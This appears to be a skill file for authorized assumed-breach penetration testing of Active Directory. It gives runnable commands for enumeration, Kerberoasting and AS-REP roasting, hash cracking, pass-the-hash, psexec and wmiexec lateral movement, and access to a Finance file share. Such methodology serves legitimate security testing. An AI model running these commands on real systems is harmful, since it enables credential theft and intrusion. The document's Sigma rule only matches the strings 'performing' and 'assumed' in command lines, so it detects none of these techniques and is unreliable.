<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-assumed-breach-testing
description: >-
  Internal threat simulation starting from an assumed compromised position such as a foothold on a workstation, compromised credentials, or insider access. Tests internal controls, segmentation, and detection capabilities.
domain: cybersecurity
subdomain: security-testing
tags:
  - assumed-breach
  - internal-pentest
  - lateral-movement
  - privilege-escalation
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078", "T1021", "T1053", "T1548", "T1003", "T1087"]
  tools: ["bloodhound", "crackmapexec", "impacket", "responder", "mimikatz", "rubeus"]
---

# Performing Assumed Breach Testing

## Overview

Assumed breach testing bypasses perimeter security to evaluate internal defenses. The tester begins with legitimate access — a domain account, VPN credentials, or a pre-placed implant — and attempts to escalate privileges, move laterally, and achieve defined objectives.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `bloodhound` | Security tooling |
| `crackmapexec` | Security tooling |
| `impacket` | Security tooling |
| `responder` | Security tooling |
| `mimikatz` | Security tooling |
| `rubeus` | Security tooling |
| Written authorization and rules of engagement | Environment requirement |
| Defined scope with in-scope targets and exclusions | Environment requirement |

## Workflow

### Step 1: Initial Position Assessment

```bash
# Enumerate current access level
whoami /all
net user %USERNAME% /domain
nltest /dclist:target.local
systeminfo | findstr /B /C:"OS Name" /C:"Domain"

# Network position assessment
ipconfig /all
arp -a
route print
netstat -ano | findstr ESTABLISHED

# Linux equivalent
id && hostname && ip addr show
cat /etc/resolv.conf
ss -tlnp
```

### Step 2: Active Directory Enumeration

```bash
# BloodHound data collection
bloodhound-python -d target.local -u user -p 'P@ssw0rd' \
  -c all -ns $DC_IP --zip

# CrackMapExec enumeration
crackmapexec smb $SUBNET/24 --gen-relay-list targets.txt
crackmapexec smb $DC_IP -u user -p 'P@ssw0rd' --users
crackmapexec smb $DC_IP -u user -p 'P@ssw0rd' --shares

# Impacket tools
GetADUsers.py -all target.local/user:P@ssw0rd -dc-ip $DC_IP
GetNPUsers.py target.local/ -usersfile users.txt -dc-ip $DC_IP
```

### Step 3: Privilege Escalation

```bash
# Kerberoasting
GetUserSPNs.py target.local/user:P@ssw0rd -dc-ip $DC_IP -request \
  -outputfile kerberoast.txt
hashcat -m 13100 kerberoast.txt rockyou.txt

# AS-REP roasting
GetNPUsers.py target.local/ -usersfile users.txt -dc-ip $DC_IP \
  -format hashcat -outputfile asrep.txt

# Token impersonation
# Rubeus for Kerberos ticket manipulation
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe asreproast /outfile:asrep_hashes.txt
```

### Step 4: Lateral Movement & Objectives

```bash
# PSExec lateral movement
psexec.py target.local/admin:P@ssw0rd@TARGET_HOST cmd.exe

# WMI execution
wmiexec.py target.local/admin:P@ssw0rd@TARGET_HOST

# Pass-the-hash
crackmapexec smb TARGET_HOST -u admin -H NTLM_HASH --exec-method smbexec

# Objective: access sensitive file share
smbclient //TARGET_HOST/Finance -U admin%P@ssw0rd
dir *.xlsx *.pdf *.docx
```

## Detection

```yaml
title: Assumed Breach Testing Detection
id: c1f341ef-a427-42b6-8a90-0d354d51cb25
status: experimental
description: Detects suspicious activity related to performing assumed breach testing techniques in security testing context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*assumed*"
  condition: selection
level: medium
tags:
  - attack.t1078
  - attack.t1021
  - attack.t1053
  - attack.t1548
  - attack.t1003
  - attack.t1087
  - attack.discovery
falsepositives:
  - Authorized security testing tools during scheduled assessment windows
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Assumed Breach Testing Detection | windows/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1078, T1021, T1053, T1548, T1003, T1087 |

## Verification

- [ ] Authorization documented and scope confirmed
- [ ] All planned test cases executed
- [ ] Evidence collected with timestamps and integrity hashes
- [ ] Findings documented with severity and remediation
- [ ] Report delivered to stakeholders

## References

- [MITRE ATT&CK Framework](https://attack.mitre.org/)
- [PTES — Penetration Testing Execution Standard](http://www.pentest-standard.org/)
- [NIST SP 800-115 — Technical Guide to Security Testing](https://csrc.nist.gov/publications/detail/sp/800-115/final)
